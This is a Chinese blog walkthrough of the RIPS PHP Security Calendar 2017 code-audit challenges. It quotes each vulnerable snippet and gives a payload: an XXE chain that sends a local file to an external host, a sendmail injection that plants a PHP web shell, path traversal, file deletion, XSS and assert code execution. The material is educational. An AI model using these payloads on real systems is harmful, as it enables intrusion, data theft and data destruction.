PHP代码审计(一)

学校延期开学,在家闲着没事,打算重新复习下php代码审计方面的知识,找到了RIPS Technologies2017年的一个代码审计项目,之前只是大致读过没有仔细分析,这次记录一下分析过程,第一篇。

PHP SECURITY CALENDAR 2017

项目地址

1
https://www.ripstech.com/php-security-calendar-2017/

在线演示平台

1
https://github.com/vulnspy/ripstech-php-security-calendar-2017

php手册

1
https://www.php.net/manual/zh/

Day 1 - Wish List

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

漏洞分析

代码逻辑为上传一个文件,在类的初始化时创建一个1-24的白名单数组,文件赋值给$file,在类销毁时判断上传的文件名是否在白名单内,验证通过的话则将文件移动到指定目录./solutions/下。

在手册上查看in_array说明,如下:

1
2
in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool
大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。

因此利用php的弱类型达到绕过白名单的目的,如:

1
2
php > var_dump("2.php"==2);
bool(true)

漏洞验证

本地环境:kali+php7.3+apache2

坑点:代码中UPLOAD_DIRECTORY使用了相对路径,不知为何文件移动一直失败,改为绝对路径即可。

验证过程:使用postman抓取请求,改为post提交并添加文件。

image-20200211191331162

Day 2 - Twig

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide &raquo;</a>';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();

漏洞分析

代码大致逻辑为通过GET请求获取nextSlide参数值,经过filter_var函数来判断是否为正确url,通过的话则通过twig的模板引擎渲染到页面中。但filter_var的过滤十分脆弱,只是在url格式上判断是否正确,没有进行协议方面的检测。因此,可以构造如下payload:

1
javascript://comment%250aalert(1)

Twig中的中的escape和PHP中的htmlspecialchars($link, ENT_QUOTES, 'UTF-8')类似,所以单引号和双引号等都无法使用。因为%250a%0a表示换行符,在浏览器中javascript://comment%250aalert(1)会被解释为:

1
2
javascript://comment
alert(1)

//在 Javascript 中表示注释符,因此comment会被忽略,执行alert(1)

漏洞验证

本地环境:phpEnv+composer

验证过程:

image-20200212144742784

image-20200212143615129

Day 3 - Snow Flake

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $data;

public function __construct($data) {
$this->data = $data;
}

public function render() {
if ($this->data['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}

漏洞分析

在php5.4以下版本中,如果我们输入../../../../etc/passwd是,就会调用class_exists(),这样就会触发__autoload(),这样就是一个任意文件包含的漏洞了,此类漏洞在之后的版本中进行了修复。

代码中执行class_exists来判断类是否存在,存在则通过include包含到代码中,php自带的内置类也可用通过此方式包含,因此可以利用SimpleXMLElement进行xxe攻击。通过实例化类来执行构造的xml文件。但是存在一个问题,没有代码中并没有输出结果,因此无法直接在网页中显示,可以通过访问外部url的方式将数据发送出去。

漏洞验证

本地环境:phpEnv+kali

发送GET请求加载SimpleXMLElement以及xml语法。使用file协议读取c盘下的文件,并加载外部dtd文件使得到的结构发送到我们指定的服务器上。xml内容如下:

1
2
3
4
5
6
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/Users/Tonys/Desktop/pass.txt">
<!ENTITY % remote SYSTEM "http://192.168.56.102:8080/evil.dtd">
%remote;
%send;
]>

evil.dtd

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.56.102/get.php?file=%file;'>"
>
%all;

get.php

1
2
3
<?php
file_put_contents("result.txt", $_GET['file']);
?>

Day 4 - False Beard

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}

new Login($_POST['username'], $_POST['password']);

漏洞分析

通过代码可知,使用strpos来阻止<>出现在输入的字符串中,来防止xml注入。但通过php的特性,测试得到如下结果:

1
2
3
4
5
6
7
root@kali:~# php -a
Interactive mode enabled

php > var_dump(0==false);
bool(true)
php > var_dump(!0==true);
bool(true)

因此输入内容的开头为<>依然可以通过验证。

漏洞验证

payload:

1
username=<"><injected-tag%20property="&password=<"><injected-tag%20property="

最终传入到$this->login($xmlElement)$xmlElement值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>这样就可以进行注入了。

Day 5 - Postcard

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = '[email protected]';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = '[email protected]';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

漏洞分析

这段代码实现了发送邮件的功能,其中关于mail的大部分参数属于用户可控的输入,mail函数的手册如下:

1
2
3
4
5
bool mail ( string $to  电子邮件收件人,或收件人列表
, string $subject 电子邮件的主题
, string $message 邮件内容
[, string $additional_headers 指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
[, string $additional_parameters ]] ) 许多web应用使用它设置发送者的地址和返回路径

当调用php内置mail函数时,如果没有恰当过滤第5个参数,可以被注入恶意参数,引发命令执行漏洞。php将调用execve()执行sendmail程序:

1
execve("/bin/sh","sh","-c","/usr/sbin/sendmail -t -i -f admin@localhost"],[/* 24 environment var */])

虽然PHP会使用escapeshellcmd函数来过滤参数的内容,对特殊字符的转义来防止恶意命令执行(&#;`|*?~<>^()[]{}$\, \x0A and \xFF.’ “这些字符都不能使用),但是我们可以添加命令执行的其他参数:

1
2
3
-X logfile是记录log文件的,就是可以写文件;
-C file是临时加载一个配置文件,就是可以读文件;
-O option=value 是临时设置一个邮件存储的临时目录的配置。

代码中进行了两次过滤,分别是filter_var($email, FILTER_VALIDATE_EMAIL)escapeshellarg($email)。我们接下来分别分析这两个过滤函数。关于 filter_var()FILTER_VALIDATE_EMAIL这个选项作用,我们可以看看这个帖子 PHP FILTER_VALIDATE_EMAIL 。有个结论为none of the special characters in this local part are allowed outside quotation marks ,表示所有的特殊符号必须放在双引号中,这样便可绕过对特殊符号的过滤问题,测试如下:

1
2
3
4
5
6
7
C:\Users\Tonys>PHP -a
Interactive shell

php > var_dump(filter_var('"...\.llowed"@vsplate.com',FILTER_VALIDATE_EMAIL));
string(25) ""...\.llowed"@vsplate.com"
php > var_dump(filter_var('\'is."\'\ not\ allowed"@vsplate.com',FILTER_VALIDATE_EMAIL));
string(33) "'is."'\ not\ allowed"@vsplate.com"

接下来分析escapeshellargescapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell函数包含exec()system()执行运算符(反引号)。

前面说过了PHP的 mail() 函数在底层调用了 escapeshellcmd() 函数对用户输入的邮箱地址进行处理,即使我们使用带有特殊字符的payload,绕过filter_var() 的检测,但还是会被 escapeshellcmd()*处理。然而 escapeshellcmd()escapeshellarg 一起使用,会造成特殊字符逃逸。具体参考如下paper:

1
https://paper.seebug.org/164/

漏洞验证

payload:

1
'a."'\ -OQueueDirectory=\%0D<?=eval($_GET[c])?>\ -X/var/www/html/"@a.php

参考:

1
https://blog.ripstech.com/2017/why-mail-is-dangerous-in-php/

Day 6 - Frost Pattern

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}

public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}

public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

漏洞分析

代码大致逻辑为生成用户的token,并根据token删除相应的文件。在删除时对用户输入的数据进行了控制,非a-z-._的字符都将替换为空。

但在这个正则中,-并没有进行转义操作,因此实际意思为非46-122的ascii中的字符替换为空。

漏洞验证

应为正则的设置不正确,可造成任意文件删除,对于一些cms系统,删除其安装文件可重装cms,进而控制后台以及服务器端。

payload:

1
action=delete&data=../../config.php

Day 7 - Bells

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

漏洞分析

代码为sql查询逻辑,获取输入id,使用了面向对象风格,其中bind_param中各个类型表示的意思如下:

1
2
3
4
i	corresponding variable has type integer
d corresponding variable has type double
s corresponding variable has type string
b corresponding variable is a blob and will be sent in packets

但是代码代码中使用了parse_url,明显存在变量覆盖漏洞,数据库的各种参数都是可控的,以及返回结构都可以进行伪造。

漏洞验证

本地构建数据库,返回结构进行自定义,可绕过服务端数据库中数据的检测。

payload:

1
http://127.0.0.1/?config[dbhost]=10.0.0.5&config[dbuser]=root&config[dbpass]=root&config[dbname]=malicious&id=1

Day 9 - Rabbit

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class LanguageManager {
public function loadLanguage() {
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}

private function getBrowserLanguage() {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}

private function sanitizeLanguage($language) {
return str_replace('../', '', $language);
}
}

(new LanguageManager())->loadLanguage();

漏洞分析

代码大致逻辑逻辑为加载设置加载文本时所展示的语言,并通过str_replace对输入的数据进行了替换,然后通过require_once包含该文件。但str_replace只进行了单次替换,包含的路径依然可控。

测试如下:

1
2
3
4
php > var_dump(str_replace('../', '', '../etc/passwd'));
string(10) "etc/passwd"
php > var_dump(str_replace('../', '', '..././etc/passwd'));
string(13) "../etc/passwd"

漏洞验证

request head处添加如下请求,payload:

1
accept-language: ..././..././..././etc/passwd

Day 10 - Anticipation

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
extract($_POST);

function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

漏洞分析

extract作用为从数组中将变量导入到当前的符号表,效果如下:

1
2
3
4
5
6
7
php > $var_array = array("color" => "blue",
php ( "size" => "medium",
php ( "shape" => "sphere");
php > var_dump(extract($var_array));
int(3)
php > var_dump($color);
string(4) "blue"

代码对$pi进行了过滤,通过is_numeric规定必须为数字类型的变量,需要注意的点如下:

  • 判读是否为数字,如果提交的参数是数字或者数字字符串就正常,也就是TRUE,否则返回FALSE。仅用is_numeric判断而不用intval函数转换,就有可能插入16进制的字符串到数据库,进而可能导致sql二次注入。
  • php7以后十六进制字符串不再被认为是数字。

在输入为字符串的情况下,执行了goAway()函数,但没有进行die()或者exit(),操作,这导致后面的代码依然可以执行。assert()为断言函数,这是一个调试函数,它会检测一个断言是否为False。它与eval的用法类似,可以将字符串当成PHP代码来执行,但是断言这个功能应该只被用来调试。

  • php7以后assert默认不再可以执行代码,菜刀在实现文件管理器的时候用的恰好也是assert函数,这也导致菜刀没办法在PHP7上正常运行。

漏洞验证

payload:

1
pi=phpinfo()
Author: Sys71m
Link: https://www.sys71m.top/2020/02/13/PHP代码审计(一)/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.